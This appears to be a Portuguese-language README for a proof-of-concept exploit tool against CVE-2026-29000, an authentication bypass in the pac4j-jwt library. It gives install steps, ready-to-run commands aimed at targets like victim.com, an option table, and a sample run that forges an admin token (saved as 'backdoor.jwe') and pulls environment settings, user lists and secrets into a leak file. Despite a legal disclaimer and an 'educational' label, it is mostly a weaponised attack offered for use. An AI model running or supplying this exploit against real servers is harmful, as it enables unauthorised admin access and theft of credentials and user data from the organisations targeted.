
CVE-2026-29000 – Bypass de Autenticação pac4j-jwt (CVSS 10.0). Forja de admin com um clique via empacotamento JWE com chave pública. Vaza configurações, usuários, segredos. Keep-alive, proxy, JWKS personalizado. Ferramenta de Exploit PoC educacional.
CVE-2026-29000 - Forja de Admin em Um Clique via JWT alg:none + Criptografia JWE
Este exploit weaponiza a CVE-2026-29000, uma vulnerabilidade crítica de CVSS 10.0 na biblioteca pac4j-jwt. Ao extrair a chave pública JWKS do servidor e forjar um token JWE criptografado com alg: none, ele alcança bypass completo de autenticação e concede privilégios administrativos totais em um clique.
alg:none, encapsula na própria chave pública do servidor| Biblioteca | Versões Afetadas | Versões Corrigidas |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] Aviso Legal: Esta ferramenta é destinada apenas a testes de segurança autorizados e engajamentos de red-team.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
Exploit básico de disparo único
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
Argumento Curto Obrigatório Padrão Descrição --target -t Sim - URL de destino (ex.: https://example.com:8443) --jwks -k Não detecção automática Caminho personalizado do endpoint JWKS --output -o Não Nenhum Salvar token JWE forjado em arquivo --leak -l Não leaked_TIMESTAMP.txt Salvar dados vazados em arquivo --verbose -v Não False Ativar saída de depuração --proxy -p Não Nenhum Proxy HTTP/HTTPS --user-agent -ua Não Mozilla/5.0... User-Agent personalizado --no-keep-alive - Não False Desativar keep-alive da sessão --delay - Não 5.0 Intervalo de ping keep-alive (segundos) --max-retries - Não 3 Máximo de tentativas por requisição falhada --ssl-verify - Não False Verificar certificados SSL
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] ESTÁGIO 1: Obtendo a chave pública RSA do JWKS [11:23:15] Sondando o endpoint JWKS... [11:23:16] JWKS encontrado em /realms/master/protocol/openid-connect/certs [11:23:16] Chave pública RSA extraída com sucesso
[11:23:16] ESTÁGIO 2: Criando JWT com alg:none e criptografando em JWE [11:23:16] Token JWE forjado (truncado): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ Token salvo em backdoor.jwe
[11:23:16] ESTÁGIO 3: Enviando o JWE forjado como token Bearer [11:23:17] ✓ Autenticação bem-sucedida! Acesso concedido a /api/users/me
[11:23:17] ESTÁGIO 4: Enumerando endpoints acessíveis e revelando dados sensíveis [11:23:18] ✓ Vazado: /actuator/env (status 200) [11:23:18] ✓ Vazado: /api/users (status 200) [11:23:18] ✓ Vazado: /api/secrets (status 200) [11:23:18] ✓ Vazado: /config/server (status 200) [11:23:18] ✓ 4 endpoints sensíveis capturados → salvos em leak.txt
[11:23:18] Sessão keep-alive ativa (Ctrl+C para parar) [11:23:18] Token (JWE) válido por ~1 hora – forje novamente se expirado
Confira meus outros repositórios de exploits: